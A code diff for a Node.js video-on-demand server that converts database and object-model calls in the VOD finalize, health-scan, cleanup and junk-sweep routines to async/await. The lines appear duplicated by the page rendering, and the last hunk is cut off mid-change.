@@ -162,7 +162,7 @@ async function finalizeVod(vodId, opts = {}) {
@@ -162,7 +162,7 @@ async function finalizeVod(vodId, opts = {}) {
// row's object is marked by its trigger. This follow-up only re-reads the disk after a finalize
// row's object is marked by its trigger. This follow-up only re-reads the disk after a finalize
// that threw part-way (a merge or remux rewrote the file, no row write followed). C-75 leftover:
// that threw part-way (a merge or remux rewrote the file, no row write followed). C-75 leftover:
// it goes with the boot backfill (server/index.js) once the drift report shows zero drift.
// it goes with the boot backfill (server/index.js) once the drift report shows zero drift.
- objects().safeSync('vod', vodId);
+ await objects().safeSync('vod', vodId);
}
}
}
}
@@ -170,9 +170,9 @@ async function finalizeVod(vodId, opts = {}) {
@@ -170,9 +170,9 @@ async function finalizeVod(vodId, opts = {}) {
* Queue a vod.finalize retry (server/jobs/vod-finalize.js; first attempt in 5 minutes), unless this
* Queue a vod.finalize retry (server/jobs/vod-finalize.js; first attempt in 5 minutes), unless this
* finalize IS that job (it retries itself with backoff).
* finalize IS that job (it retries itself with backoff).
*/
*/
-function _queueRetry(vodId, reason, opts = {}) {
+async function _queueRetry(vodId, reason, opts = {}) {
if (opts.fromJob) return;
if (opts.fromJob) return;
- try { require('../jobs/vod-finalize').queueFinalize(vodId, reason, { runAfterS: 300 }); } catch { /* the orphan sweep and the reconcile job remain */ }
+ try { await require('../jobs/vod-finalize').queueFinalize(vodId, reason, { runAfterS: 300 }); } catch { /* the orphan sweep and the reconcile job remain */ }
}
}
// Health issues finalize itself records when it cannot settle a recording. A later successful
// Health issues finalize itself records when it cannot settle a recording. A later successful
@@ -189,7 +189,7 @@ function _finalizeQuarantined(vod) {
@@ -189,7 +189,7 @@ function _finalizeQuarantined(vod) {
}
}
async function _doFinalize(vodId, opts) {
async function _doFinalize(vodId, opts) {
- const vod = db.getVodById(vodId);
+ const vod = await db.getVodById(vodId);
if (!vod) return null;
if (!vod) return null;
const filePath = vod.file_path;
const filePath = vod.file_path;
// The recorder's own start time bounds the duration (a container claiming more than the
// The recorder's own start time bounds the duration (a container claiming more than the
@@ -204,29 +204,29 @@ async function _doFinalize(vodId, opts) {
@@ -204,29 +204,29 @@ async function _doFinalize(vodId, opts) {
try { tools.cleanupSeekableFile(filePath); } catch { /* */ }
try { tools.cleanupSeekableFile(filePath); } catch { /* */ }
try { if (vod.master_file_path && fs.existsSync(vod.master_file_path)) fs.unlinkSync(vod.master_file_path); } catch { /* */ }
try { if (vod.master_file_path && fs.existsSync(vod.master_file_path)) fs.unlinkSync(vod.master_file_path); } catch { /* */ }
try { if (vod.storage_provider && vod.storage_provider !== 'local') require('./vod-storage').deleteVodObjects(vod).catch(() => {}); } catch { /* */ }
try { if (vod.storage_provider && vod.storage_provider !== 'local') require('./vod-storage').deleteVodObjects(vod).catch(() => {}); } catch { /* */ }
- try { db.run('DELETE FROM vods WHERE id = ?', [vodId]); } catch { /* */ }
+ try { await db.run('DELETE FROM vods WHERE id = ?', [vodId]); } catch { /* */ }
console.log(`[VOD] Discarded ephemeral clips-only recording (vod ${vodId})`);
console.log(`[VOD] Discarded ephemeral clips-only recording (vod ${vodId})`);
return null;
return null;
}
}
// A recording under a retention hold is never deleted here (the empty-row and zero-byte cases
// A recording under a retention hold is never deleted here (the empty-row and zero-byte cases
// below): it is settled as failed and quarantined instead, file and row kept.
// below): it is settled as failed and quarantined instead, file and row kept.
- const keepHeld = (status) => {
+ const keepHeld = async (status) => {
console.warn(`[VOD] vod ${vodId}: ${status} recording under a retention hold — keeping its row and file, quarantined`);
console.warn(`[VOD] vod ${vodId}: ${status} recording under a retention hold — keeping its row and file, quarantined`);
- _commitVodOutcome(vod, 'vod.failed', () => db.run(`UPDATE vods SET is_recording = 0, health_status = ?, health_issues_json = ?,
+ await _commitVodOutcome(vod, 'vod.failed', async () => await db.run(`UPDATE vods SET is_recording = 0, health_status = ?, health_issues_json = ?,
quarantined_at = COALESCE(quarantined_at, datetime('now')), is_public = 0, last_health_scan_at = datetime('now') WHERE id = ?`,
quarantined_at = COALESCE(quarantined_at, datetime('now')), is_public = 0, last_health_scan_at = datetime('now') WHERE id = ?`,
[status, JSON.stringify([status, 'retention_hold']), vodId]));
[status, JSON.stringify([status, 'retention_hold']), vodId]));
return null;
return null;
};
};
- const held = objects().isHeldRow(vod);
+ const held = await objects().isHeldRow(vod);
if (!filePath || !fs.existsSync(filePath)) {
if (!filePath || !fs.existsSync(filePath)) {
- if (held) return keepHeld('missing_file');
+ if (held) return await keepHeld('missing_file');
// No media was ever written (ingest started but produced nothing, or the
// No media was ever written (ingest started but produced nothing, or the
// process died before ffmpeg opened the file). Nothing to review — delete
// process died before ffmpeg opened the file). Nothing to review — delete
// the row so a 0:00 ghost never reaches listings.
// the row so a 0:00 ghost never reaches listings.
console.warn(`[VOD] vod ${vodId}: no recording file — deleting empty row`);
console.warn(`[VOD] vod ${vodId}: no recording file — deleting empty row`);
- _commitVodOutcome(vod, 'vod.failed', () => db.run('DELETE FROM vods WHERE id = ?', [vodId]), () => vod);
+ await _commitVodOutcome(vod, 'vod.failed', async () => await db.run('DELETE FROM vods WHERE id = ?', [vodId]), () => vod);
return null;
return null;
}
}
@@ -242,12 +242,12 @@ async function _doFinalize(vodId, opts) {
@@ -242,12 +242,12 @@ async function _doFinalize(vodId, opts) {
// nothing to review, so treat it like a missing file: report the failure and
// nothing to review, so treat it like a missing file: report the failure and
// delete the row and file — a 0:00 ghost must never reach listings.
// delete the row and file — a 0:00 ghost must never reach listings.
if (tools.getFileSizeSafe(filePath) === 0) {
if (tools.getFileSizeSafe(filePath) === 0) {
- if (held) return keepHeld('zero_byte');
+ if (held) return await keepHeld('zero_byte');
console.warn(`[VOD] vod ${vodId}: zero-byte recording — deleting empty recording`);
console.warn(`[VOD] vod ${vodId}: zero-byte recording — deleting empty recording`);
try { fs.unlinkSync(filePath); } catch { /* */ }
try { fs.unlinkSync(filePath); } catch { /* */ }
try { tools.cleanupSeekableFile(filePath); } catch { /* */ }
try { tools.cleanupSeekableFile(filePath); } catch { /* */ }
try { if (vod.master_file_path && fs.existsSync(vod.master_file_path)) fs.unlinkSync(vod.master_file_path); } catch { /* */ }
try { if (vod.master_file_path && fs.existsSync(vod.master_file_path)) fs.unlinkSync(vod.master_file_path); } catch { /* */ }
- _commitVodOutcome(vod, 'vod.failed', () => db.run('DELETE FROM vods WHERE id = ?', [vodId]),
+ await _commitVodOutcome(vod, 'vod.failed', async () => await db.run('DELETE FROM vods WHERE id = ?', [vodId]),
() => ({ ...vod, health_status: 'zero_byte', is_public: 0 }));
() => ({ ...vod, health_status: 'zero_byte', is_public: 0 }));
return null;
return null;
}
}
@@ -308,28 +308,28 @@ async function _doFinalize(vodId, opts) {
@@ -308,28 +308,28 @@ async function _doFinalize(vodId, opts) {
if (opts.ffmpegCorrupted) {
if (opts.ffmpegCorrupted) {
console.warn(`[VOD] Finalized VOD ${vodId} marked corrupt by FFmpeg diagnostics; quarantining without deletion`);
console.warn(`[VOD] Finalized VOD ${vodId} marked corrupt by FFmpeg diagnostics; quarantining without deletion`);
- _commitVodOutcome(vod, 'vod.failed', () => db.run(`UPDATE vods SET is_recording = 0, duration_seconds = ?, duration_source = ?, health_status = ?, health_issues_json = ?, probe_duration_seconds = ?, probe_format_json = ?, last_health_scan_at = datetime('now'), quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,
+ await _commitVodOutcome(vod, 'vod.failed', async () => await db.run(`UPDATE vods SET is_recording = 0, duration_seconds = ?, duration_source = ?, health_status = ?, health_issues_json = ?, probe_duration_seconds = ?, probe_format_json = ?, last_health_scan_at = datetime('now'), quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,
[stored, durationSource, 'corrupt', JSON.stringify(['ffmpeg-corruption-detected', ...issues]), measured, probeFormatJson, vodId]));
[stored, durationSource, 'corrupt', JSON.stringify(['ffmpeg-corruption-detected', ...issues]), measured, probeFormatJson, vodId]));
- return db.getVodById(vodId);
+ return await db.getVodById(vodId);
}
}
// Nothing measurable (ffprobe and the packet pass both failed, or every value is impossible):
// Nothing measurable (ffprobe and the packet pass both failed, or every value is impossible):
// the stored duration is 0 and the recording waits for review, hidden. Never the wall clock.
// the stored duration is 0 and the recording waits for review, hidden. Never the wall clock.
if (durationSource === 'unknown') {
if (durationSource === 'unknown') {
console.warn(`[VOD] vod ${vodId}: no measurable duration (${issues.join(', ')}) — stored 0, needs_review`);
console.warn(`[VOD] vod ${vodId}: no measurable duration (${issues.join(', ')}) — stored 0, needs_review`);
- _commitVodOutcome(vod, 'vod.failed', () => db.run(`UPDATE vods SET is_recording = 0, duration_seconds = 0, duration_source = 'unknown', health_status = 'needs_review', health_issues_json = ?, probe_duration_seconds = 0, probe_format_json = ?, last_health_scan_at = datetime('now'), quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,
+ await _commitVodOutcome(vod, 'vod.failed', async () => await db.run(`UPDATE vods SET is_recording = 0, duration_seconds = 0, duration_source = 'unknown', health_status = 'needs_review', health_issues_json = ?, probe_duration_seconds = 0, probe_format_json = ?, last_health_scan_at = datetime('now'), quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,
[JSON.stringify(issues), probeFormatJson, vodId]));
[JSON.stringify(issues), probeFormatJson, vodId]));
- _queueRetry(vodId, issues.includes('probe_failed') ? 'probe_failed' : 'inflated_duration', opts);
- return db.getVodById(vodId);
+ await _queueRetry(vodId, issues.includes('probe_failed') ? 'probe_failed' : 'inflated_duration', opts);
+ return await db.getVodById(vodId);
}
}
// Very short recordings are quarantined for review instead of deleted.
// Very short recordings are quarantined for review instead of deleted.
const MIN_VOD_SECONDS = parseInt(process.env.MIN_VOD_SECONDS || '2', 10);
const MIN_VOD_SECONDS = parseInt(process.env.MIN_VOD_SECONDS || '2', 10);
if (durationSeconds < MIN_VOD_SECONDS) {
if (durationSeconds < MIN_VOD_SECONDS) {
console.log(`[VOD] Quarantining short vod ${vodId}: duration ${durationSeconds}s`);
console.log(`[VOD] Quarantining short vod ${vodId}: duration ${durationSeconds}s`);
- _commitVodOutcome(vod, 'vod.failed', () => db.run(`UPDATE vods SET is_recording = 0, duration_seconds = ?, duration_source = ?, health_status = ?, health_issues_json = ?, probe_duration_seconds = ?, probe_format_json = ?, last_health_scan_at = datetime('now'), quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,
+ await _commitVodOutcome(vod, 'vod.failed', async () => await db.run(`UPDATE vods SET is_recording = 0, duration_seconds = ?, duration_source = ?, health_status = ?, health_issues_json = ?, probe_duration_seconds = ?, probe_format_json = ?, last_health_scan_at = datetime('now'), quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,
[stored, durationSource, 'needs_review', JSON.stringify(['short_duration', ...issues]), measured, probeFormatJson, vodId]));
[stored, durationSource, 'needs_review', JSON.stringify(['short_duration', ...issues]), measured, probeFormatJson, vodId]));
- return db.getVodById(vodId);
+ return await db.getVodById(vodId);
}
}
let stat;
let stat;
@@ -339,9 +339,9 @@ async function _doFinalize(vodId, opts) {
@@ -339,9 +339,9 @@ async function _doFinalize(vodId, opts) {
// The file vanished between the probe and here. Record it (no wall-clock duration left
// The file vanished between the probe and here. Record it (no wall-clock duration left
// behind by the live updates) and leave it for review.
// behind by the live updates) and leave it for review.
console.error(`[VOD] Failed to stat finalized VOD ${vodId}:`, err.message);
console.error(`[VOD] Failed to stat finalized VOD ${vodId}:`, err.message);
- objects().withObject('vod', vodId, () => db.run(`UPDATE vods SET is_recording = 0, duration_seconds = 0, duration_source = 'unknown', health_status = 'needs_review',
+ await objects().withObject('vod', vodId, async () => await db.run(`UPDATE vods SET is_recording = 0, duration_seconds = 0, duration_source = 'unknown', health_status = 'needs_review',
health_issues_json = ?, last_health_scan_at = datetime('now') WHERE id = ?`, [JSON.stringify(['stat_failed', ...issues]), vodId]));
health_issues_json = ?, last_health_scan_at = datetime('now') WHERE id = ?`, [JSON.stringify(['stat_failed', ...issues]), vodId]));
- _queueRetry(vodId, 'stat_failed', opts);
+ await _queueRetry(vodId, 'stat_failed', opts);
return null;
return null;
}
}
// The lossless .master.mkv archive is only a fallback. Delete it ONLY once
// The lossless .master.mkv archive is only a fallback. Delete it ONLY once
@@ -353,12 +353,12 @@ async function _doFinalize(vodId, opts) {
@@ -353,12 +353,12 @@ async function _doFinalize(vodId, opts) {
if (webmComplete) {
if (webmComplete) {
fs.unlinkSync(masterPath);
fs.unlinkSync(masterPath);
console.log(`[VOD] Removed master archive for vod ${vodId} (${path.basename(masterPath)})`);
console.log(`[VOD] Removed master archive for vod ${vodId} (${path.basename(masterPath)})`);
- db.run('UPDATE vods SET master_file_path = NULL WHERE id = ?', [vodId]); // not projected: no object change
+ await db.run('UPDATE vods SET master_file_path = NULL WHERE id = ?', [vodId]); // not projected: no object change
} else {
} else {
console.warn(`[VOD] vod ${vodId}: KEEPING master (webm ${durationSeconds}s still < master ${masterDur}s)`);
console.warn(`[VOD] vod ${vodId}: KEEPING master (webm ${durationSeconds}s still < master ${masterDur}s)`);
}
}
} else {
} else {
- db.run('UPDATE vods SET master_file_path = NULL WHERE id = ?', [vodId]);
+ await db.run('UPDATE vods SET master_file_path = NULL WHERE id = ?', [vodId]);
}
}
} catch (e) {
} catch (e) {
console.warn(`[VOD] Master cleanup failed for vod ${vodId}:`, e.message);
console.warn(`[VOD] Master cleanup failed for vod ${vodId}:`, e.message);
@@ -376,17 +376,17 @@ async function _doFinalize(vodId, opts) {
@@ -376,17 +376,17 @@ async function _doFinalize(vodId, opts) {
// A quarantine an earlier finalize attempt left (nothing measurable then) is lifted: the
// A quarantine an earlier finalize attempt left (nothing measurable then) is lifted: the
// recording is back to the visibility its owner chose.
// recording is back to the visibility its owner chose.
- const lift = _finalizeQuarantined(db.getVodById(vodId) || vod);
+ const lift = _finalizeQuarantined(await db.getVodById(vodId) || vod);
// The ready transition, the VOD's object and the vod.ready event commit together (then the
// The ready transition, the VOD's object and the vod.ready event commit together (then the
// webhook goes out). A failed commit throws, as the plain UPDATE did before.
// webhook goes out). A failed commit throws, as the plain UPDATE did before.
- announce(vod.app_id, 'vod.ready', {
- change: () => objects().withObject('vod', vodId, () => db.run(`UPDATE vods SET is_recording = 0, duration_seconds = ?, duration_source = ?, file_size = ?, probe_duration_seconds = ?, probe_format_json = ?, health_status = ?, health_issues_json = ?${lift ? ", quarantined_at = NULL, is_public = CASE WHEN COALESCE(visibility, 'public') = 'public' THEN 1 ELSE 0 END" : ''} WHERE id = ?`,
+ await announce(vod.app_id, 'vod.ready', {
+ change: async () => await objects().withObject('vod', vodId, async () => await db.run(`UPDATE vods SET is_recording = 0, duration_seconds = ?, duration_source = ?, file_size = ?, probe_duration_seconds = ?, probe_format_json = ?, health_status = ?, health_issues_json = ?${lift ? ", quarantined_at = NULL, is_public = CASE WHEN COALESCE(visibility, 'public') = 'public' THEN 1 ELSE 0 END" : ''} WHERE id = ?`,
[stored, durationSource, stat.size, measured, probeFormatJson, 'ok', JSON.stringify(issues), vodId])),
[stored, durationSource, stat.size, measured, probeFormatJson, 'ok', JSON.stringify(issues), vodId])),
- payload: () => vodPublic(db.getVodById(vodId)),
+ payload: async () => await vodPublic(await db.getVodById(vodId)),
});
});
console.log(`[VOD] Finalized: vod ${vodId}, ${stored}s (${durationSource}), ${(stat.size / 1024 / 1024).toFixed(1)}MB`);
console.log(`[VOD] Finalized: vod ${vodId}, ${stored}s (${durationSource}), ${(stat.size / 1024 / 1024).toFixed(1)}MB`);
- return db.getVodById(vodId);
+ return await db.getVodById(vodId);
}
}
module.exports = { finalizeVod, isFinalizing, vodPublic, rebuildWebmFromMaster, _absUrl, FINALIZE_ISSUES };
module.exports = { finalizeVod, isFinalizing, vodPublic, rebuildWebmFromMaster, _absUrl, FINALIZE_ISSUES };
@@ -50,7 +50,7 @@ async function _scanOne(vod, { deep }) {
@@ -50,7 +50,7 @@ async function _scanOne(vod, { deep }) {
if (!broken) {
if (!broken) {
// Healthy (or duration just repaired) — record the clean scan.
// Healthy (or duration just repaired) — record the clean scan.
- try { db.updateVodHealth(vod.id, { status: 'ok', issues: scan.issues || [] }); } catch { /* */ }
+ try { await db.updateVodHealth(vod.id, { status: 'ok', issues: scan.issues || [] }); } catch { /* */ }
// The lossless .master.mkv is only a finalize-time recovery fallback. This
// The lossless .master.mkv is only a finalize-time recovery fallback. This
// VOD probed healthy and is long finished — reclaim a lingering master.
// VOD probed healthy and is long finished — reclaim a lingering master.
try {
try {
@@ -62,7 +62,7 @@ async function _scanOne(vod, { deep }) {
@@ -62,7 +62,7 @@ async function _scanOne(vod, { deep }) {
if (master && fs.existsSync(master)) {
if (master && fs.existsSync(master)) {
const freedMb = (fs.statSync(master).size / 1024 / 1024).toFixed(0);
const freedMb = (fs.statSync(master).size / 1024 / 1024).toFixed(0);
fs.unlinkSync(master);
fs.unlinkSync(master);
- if (vod.master_file_path) { try { db.run('UPDATE vods SET master_file_path = NULL WHERE id = ?', [vod.id]); } catch { /* */ } } // not projected
+ if (vod.master_file_path) { try { await db.run('UPDATE vods SET master_file_path = NULL WHERE id = ?', [vod.id]); } catch { /* */ } } // not projected
console.log(`[VOD-Health] Reclaimed orphaned master for vod ${vod.id} (${freedMb}MB)`);
console.log(`[VOD-Health] Reclaimed orphaned master for vod ${vod.id} (${freedMb}MB)`);
}
}
} catch { /* */ }
} catch { /* */ }
@@ -81,7 +81,7 @@ async function _scanOne(vod, { deep }) {
@@ -81,7 +81,7 @@ async function _scanOne(vod, { deep }) {
const r = await scanner.recoverFromMaster(vod);
const r = await scanner.recoverFromMaster(vod);
if (r.recovered) {
if (r.recovered) {
// Re-scan the rebuilt file to confirm it's actually good now.
// Re-scan the rebuilt file to confirm it's actually good now.
- const fresh = db.getVodById(vod.id) || vod;
+ const fresh = await db.getVodById(vod.id) || vod;
const rescan = await scanner.scanVod(fresh, { decode: deep, repairDuration: true, quarantineBad: false });
const rescan = await scanner.scanVod(fresh, { decode: deep, repairDuration: true, quarantineBad: false });
recovered = !['corrupt', 'zero_byte', 'missing_file'].includes(rescan.status)
recovered = !['corrupt', 'zero_byte', 'missing_file'].includes(rescan.status)
&& !(rescan.issues || []).some(i => /decode_failed|probe_failed/.test(i));
&& !(rescan.issues || []).some(i => /decode_failed|probe_failed/.test(i));
@@ -97,7 +97,7 @@ async function _scanOne(vod, { deep }) {
@@ -97,7 +97,7 @@ async function _scanOne(vod, { deep }) {
// 'needs_review' (e.g. very short) is flagged but NOT hidden — it may be watchable.
// 'needs_review' (e.g. very short) is flagged but NOT hidden — it may be watchable.
const terminal = ['corrupt', 'zero_byte', 'missing_file'].includes(scan.status);
const terminal = ['corrupt', 'zero_byte', 'missing_file'].includes(scan.status);
try {
try {
- db.updateVodHealth(vod.id, {
+ await db.updateVodHealth(vod.id, {
status: scan.status,
status: scan.status,
issues: scan.issues || [],
issues: scan.issues || [],
probeDuration: scan.probe ? scan.probe.duration : undefined,
probeDuration: scan.probe ? scan.probe.duration : undefined,
@@ -113,7 +113,7 @@ async function _scanOne(vod, { deep }) {
@@ -113,7 +113,7 @@ async function _scanOne(vod, { deep }) {
async function _scanPass(deep) {
async function _scanPass(deep) {
const limit = deep ? SCAN_BATCH_IDLE : SCAN_BATCH_LIVE;
const limit = deep ? SCAN_BATCH_IDLE : SCAN_BATCH_LIVE;
let vods = [];
let vods = [];
- try { vods = db.getVodsNeedingHealthScan({ staleDays: SCAN_STALE_DAYS, limit }); } catch { return; }
+ try { vods = await db.getVodsNeedingHealthScan({ staleDays: SCAN_STALE_DAYS, limit }); } catch { return; }
for (const vod of vods) {
for (const vod of vods) {
try { await _scanOne(vod, { deep }); }
try { await _scanOne(vod, { deep }); }
catch (e) { console.warn(`[VOD-Health] scan error for vod ${vod.id}:`, e.message); }
catch (e) { console.warn(`[VOD-Health] scan error for vod ${vod.id}:`, e.message); }
@@ -121,9 +121,9 @@ async function _scanPass(deep) {
@@ -121,9 +121,9 @@ async function _scanPass(deep) {
}
}
// Delete a VOD's files everywhere + its DB row. Mirrors the manual delete route.
// Delete a VOD's files everywhere + its DB row. Mirrors the manual delete route.
-function _hardDeleteVod(vod) {
+async function _hardDeleteVod(vod) {
try {
try {
- if (require('../objects/model').isHeldRow(db.get('SELECT object_id FROM vods WHERE id = ?', [vod.id]))) {
+ if (await require('../objects/model').isHeldRow(await db.get('SELECT object_id FROM vods WHERE id = ?', [vod.id]))) {
console.log(`[VOD-Health] vod ${vod.id} is under a retention hold — not deleting`);
console.log(`[VOD-Health] vod ${vod.id} is under a retention hold — not deleting`);
return false;
return false;
}
}
@@ -134,7 +134,7 @@ function _hardDeleteVod(vod) {
@@ -134,7 +134,7 @@ function _hardDeleteVod(vod) {
try { if (fs.existsSync(p)) fs.unlinkSync(p); } catch { /* */ }
try { if (fs.existsSync(p)) fs.unlinkSync(p); } catch { /* */ }
}
}
}
}
- db.run('DELETE FROM vods WHERE id = ?', [vod.id]); // its object is marked deleted by the row-delete trigger
+ await db.run('DELETE FROM vods WHERE id = ?', [vod.id]); // its object is marked deleted by the row-delete trigger
return true;
return true;
} catch (e) {
} catch (e) {
console.warn(`[VOD-Health] cleanup delete failed for vod ${vod.id}:`, e.message);
console.warn(`[VOD-Health] cleanup delete failed for vod ${vod.id}:`, e.message);
@@ -144,7 +144,7 @@ function _hardDeleteVod(vod) {
@@ -144,7 +144,7 @@ function _hardDeleteVod(vod) {
async function _cleanupPass(deep) {
async function _cleanupPass(deep) {
let vods = [];
let vods = [];
- try { vods = db.getQuarantinedVodsForCleanup({ graceDays: QUARANTINE_GRACE_DAYS, limit: CLEANUP_BATCH }); } catch { return; }
+ try { vods = await db.getQuarantinedVodsForCleanup({ graceDays: QUARANTINE_GRACE_DAYS, limit: CLEANUP_BATCH }); } catch { return; }
for (const vod of vods) {
for (const vod of vods) {
// One last recovery attempt before deleting — the master may have survived
// One last recovery attempt before deleting — the master may have survived
// even if the served file didn't. If it recovers, un-quarantine and keep it.
// even if the served file didn't. If it recovers, un-quarantine and keep it.
@@ -152,12 +152,12 @@ async function _cleanupPass(deep) {
@@ -152,12 +152,12 @@ async function _cleanupPass(deep) {
try {
try {
const r = await scanner.recoverFromMaster(vod);
const r = await scanner.recoverFromMaster(vod);
if (r.recovered) {
if (r.recovered) {
- const fresh = db.getVodById(vod.id) || vod;
+ const fresh = await db.getVodById(vod.id) || vod;
const rescan = await scanner.scanVod(fresh, { decode: true, repairDuration: true, quarantineBad: false });
const rescan = await scanner.scanVod(fresh, { decode: true, repairDuration: true, quarantineBad: false });
if (!['corrupt', 'zero_byte', 'missing_file'].includes(rescan.status)) {
if (!['corrupt', 'zero_byte', 'missing_file'].includes(rescan.status)) {
// Row and object together; a failed write keeps the recovered VOD (never falls through to the delete).
// Row and object together; a failed write keeps the recovered VOD (never falls through to the delete).
try {
try {
- require('../objects/model').withObject('vod', vod.id, () => db.run("UPDATE vods SET quarantined_at = NULL, health_status = 'ok' WHERE id = ?", [vod.id]));
+ await require('../objects/model').withObject('vod', vod.id, async () => await db.run("UPDATE vods SET quarantined_at = NULL, health_status = 'ok' WHERE id = ?", [vod.id]));
console.log(`[VOD-Health] Cleanup recovered vod ${vod.id} from master — un-quarantined`);
console.log(`[VOD-Health] Cleanup recovered vod ${vod.id} from master — un-quarantined`);
} catch (e) { console.warn(`[VOD-Health] vod ${vod.id} recovered from master but not un-quarantined (next pass retries):`, e.message); }
} catch (e) { console.warn(`[VOD-Health] vod ${vod.id} recovered from master but not un-quarantined (next pass retries):`, e.message); }
continue;
continue;
@@ -165,7 +165,7 @@ async function _cleanupPass(deep) {
@@ -165,7 +165,7 @@ async function _cleanupPass(deep) {
}
}
} catch { /* fall through to delete */ }
} catch { /* fall through to delete */ }
}
}
- if (_hardDeleteVod(vod)) {
+ if (await _hardDeleteVod(vod)) {
console.log(`[VOD-Health] Cleaned up unrecoverable vod ${vod.id} (quarantined ${vod.health_status}, ${vod.quarantined_at})`);
console.log(`[VOD-Health] Cleaned up unrecoverable vod ${vod.id} (quarantined ${vod.health_status}, ${vod.quarantined_at})`);
}
}
}
}
@@ -175,7 +175,7 @@ async function _cleanupPass(deep) {
@@ -175,7 +175,7 @@ async function _cleanupPass(deep) {
// gone or finished-and-healthy. PROTECTS masters that are still needed — any
// gone or finished-and-healthy. PROTECTS masters that are still needed — any
// recording, and any broken/quarantined VOD whose master is a recovery source —
// recording, and any broken/quarantined VOD whose master is a recovery source —
// plus a 30-min mtime grace so a just-finished finalize is never raced.
// plus a 30-min mtime grace so a just-finished finalize is never raced.
-function _masterSweep() {
+async function _masterSweep() {
let dir, files;
let dir, files;
try {
try {
dir = path.resolve(config.vod.path);
dir = path.resolve(config.vod.path);
@@ -185,7 +185,7 @@ function _masterSweep() {
@@ -185,7 +185,7 @@ function _masterSweep() {
const protectedNames = new Set();
const protectedNames = new Set();
try {
try {
- const rows = db.all(`SELECT file_path, master_file_path FROM vods
+ const rows = await db.all(`SELECT file_path, master_file_path FROM vods
WHERE COALESCE(is_recording,0)=1
WHERE COALESCE(is_recording,0)=1
OR quarantined_at IS NOT NULL
OR quarantined_at IS NOT NULL
OR health_status IN ('corrupt','zero_byte','needs_review')`);
OR health_status IN ('corrupt','zero_byte','needs_review')`);
@@ -222,7 +222,7 @@ async function _tick() {
@@ -222,7 +222,7 @@ async function _tick() {
try {
try {
const deep = !_anyRecording(); // full decode + recovery only while idle
const deep = !_anyRecording(); // full decode + recovery only while idle
await _scanPass(deep);
await _scanPass(deep);
- if (deep) { await _cleanupPass(deep); _masterSweep(); }
+ if (deep) { await _cleanupPass(deep); await _masterSweep(); }
} catch (e) {
} catch (e) {
console.warn('[VOD-Health] tick error:', e.message);
console.warn('[VOD-Health] tick error:', e.message);
} finally {
} finally {
@@ -233,10 +233,10 @@ async function _tick() {
@@ -233,10 +233,10 @@ async function _tick() {
// One boot-time sweep for 0:00 ghost VODs that older failure paths marked
// One boot-time sweep for 0:00 ghost VODs that older failure paths marked
// ready+public (finalize crash fallbacks, killed processes). Rows with no
// ready+public (finalize crash fallbacks, killed processes). Rows with no
// media at all are deleted; short-but-nonempty ones are quarantined.
// media at all are deleted; short-but-nonempty ones are quarantined.
-function sweepJunkVods() {
+async function sweepJunkVods() {
try {
try {
const fs = require('fs');
const fs = require('fs');
- const rows = db.all(`SELECT id, file_path, file_size, duration_seconds FROM vods
+ const rows = await db.all(`SELECT id, file_path, file_size, duration_seconds FROM vods
WHERE is_recording = 0 AND is_public = 1
WHERE is_recording = 0 AND is_public = 1
AND COALESCE(duration_seconds, 0) < 3
AND COALESCE(duration_seconds, 0) < 3
AND COALESCE(file_size, 0) < 10000000
AND COALESCE(file_size, 0) < 10000000
@@ -247,17 +247,17 @@ function sweepJunkVods() {
@@ -247,17 +247,17 @@ function sweepJunkVods() {
for (const v of rows) {
for (const v of rows) {
const hasFile = v.file_path && fs.existsSync(v.file_path) && (() => { try { return fs.statSync(v.file_path).size > 0; } catch { return false; } })();
const hasFile = v.file_path && fs.existsSync(v.file_path) && (() => { try { return fs.statSync(v.file_path).size > 0; } catch { return false; } })();
// A held row is never deleted (and its file never unlinked): it is left for its hold's owner.
// A held row is never deleted (and its file never unlinked): it is left for its hold's owner.
- if (!hasFile && objects.isHeldRow(db.get('SELECT object_id FROM vods WHERE id = ?', [v.id]))) {
+ if (!hasFile && await objects.isHeldRow(await db.get('SELECT object_id FROM vods WHERE id = ?', [v.id]))) {
console.log(`[VOD-Health] Junk sweep: vod ${v.id} has no media but is under a retention hold — not deleting`);
console.log(`[VOD-Health] Junk sweep: vod ${v.id} has no media but is under a retention hold — not deleting`);
held++;
held++;
continue;
continue;
}
}
if (!hasFile) {
if (!hasFile) {
try { if (v.file_path && fs.existsSync(v.file_path)) fs.unlinkSync(v.file_path); } catch { /* */ }
try { if (v.file_path && fs.existsSync(v.file_path)) fs.unlinkSync(v.file_path); } catch { /* */ }
- db.run('DELETE FROM vods WHERE id = ?', [v.id]);
+ await db.run('DELETE FROM vods WHERE id = ?', [v.id]);
deleted++;
deleted++;
} else {
} else {
- objects.withObject('vod', v.id, () => db.run(`UPDATE vods SET health_status = 'needs_review', health_issues_json = ?, quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,
+ await objects.withObject('vod', v.id, async () => await db.run(`UPDATE vods SET health_status = 'needs_review', health_issues_json = ?, quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,
[JSON.stringify(['short_duration']), v.id]));
[JSON.stringify(['short_duration']), v.id]));
quarantined++;
quarantined++;
}
}
@@ -266,10 +266,10 @@ function sweepJunkVods() {
@@ -266,10 +266,10 @@ function sweepJunkVods() {
} catch (e) { console.warn('[VOD-Health] junk sweep error:', e.message); }
} catch (e) { console.warn('[VOD-Health] junk sweep error:', e.message); }
}
}
-function start() {
+async function start() {
if (_running) return;
if (_running) return;
_running = true;
_running = true;
- sweepJunkVods();
+ await sweepJunkVods();
// First pass shortly after boot (idle window), then on the interval.
// First pass shortly after boot (idle window), then on the interval.
const first = setTimeout(() => { _tick().catch(() => {}); }, 90 * 1000);
const first = setTimeout(() => { _tick().catch(() => {}); }, 90 * 1000);
if (first.unref) first.unref();
if (first.unref) first.unref();
@@ -128,8 +128,8 @@ async function recoverFromMaster(vod) {
@@ -128,8 +128,8 @@ async function recoverFromMaster(vod) {
try { const mi2 = await probeMediaInfo(vod.file_path); if (mi2.ok && mi2.duration > 0) dur = mi2.duration; } catch { /* */ }
try { const mi2 = await probeMediaInfo(vod.file_path); if (mi2.ok && mi2.duration > 0) dur = mi2.duration; } catch { /* */ }
try {
try {
const stat = fs.statSync(vod.file_path);
const stat = fs.statSync(vod.file_path);
- db.repairVodDuration(vod.id, Math.round(dur), stat.size);
